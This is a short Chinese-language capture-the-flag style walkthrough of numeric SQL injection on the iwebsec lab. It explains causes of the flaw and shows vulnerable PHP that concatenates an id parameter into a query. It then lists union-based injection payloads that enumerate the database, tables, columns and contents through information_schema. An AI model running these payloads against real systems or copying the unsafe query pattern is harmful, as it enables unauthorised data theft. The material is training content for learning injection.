iwebsec sql数字型注入

SQL注入

原理

1. 不充分的输入验证和过滤：应用程序未对用户输入的数据进行充分的验证和过滤，导致攻击者可以在输入字段中插入恶意SQL代码。
2. 字符串拼接：应用程序可能会动态地将用户提供的输入与SQL查询拼接在一起，而不是使用参数化查询或预处理语句。这使得攻击者能够在输入中注入SQL代码，改变查询的行为。
3. 不适当的用户权限：应用程序通常需要连接到数据库，并使用数据库用户的权限来执行查询。如果数据库用户具有过高的权限（例如，具有完全的数据库管理员权限），则攻击者可以利用SQL注入来执行危险的操作，如删除表或获取敏感数据。
4. 错误的错误处理：应用程序未正确处理SQL查询的错误消息，这使得攻击者能够从错误消息中获得有关数据库结构和查询的信息，从而更容易进行攻击。
5. 不安全的输入源：应用程序可能会从多个输入源获取数据，包括用户输入、URL参数、Cookie等。如果这些输入源未经适当验证和处理，攻击者可以在任何地方注入恶意SQL代码。

01-数字型注入

打开如下：

分析代码：

if(isset($_GET['id'])){
	$id=$_GET['id'];

	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
		$result=mysql_query($sql);
	}
	else{
		exit();
	}

id 参数无过滤，直接注入即可

or 1=1--+
or 1=1%23 #需要注意这里如果直接用 # 会被url编码，所以用 %23 或 --+

order by 3%23  #来判断有多少字段
union select 1,2,database()%23 #查询数据库名
union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='iwebsec')%23 #查数据库中的表名
union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')%23 #查表中的列名
union select 1,2,(字段1,字段2) from 数据库名.表名%23 #查看列里的内容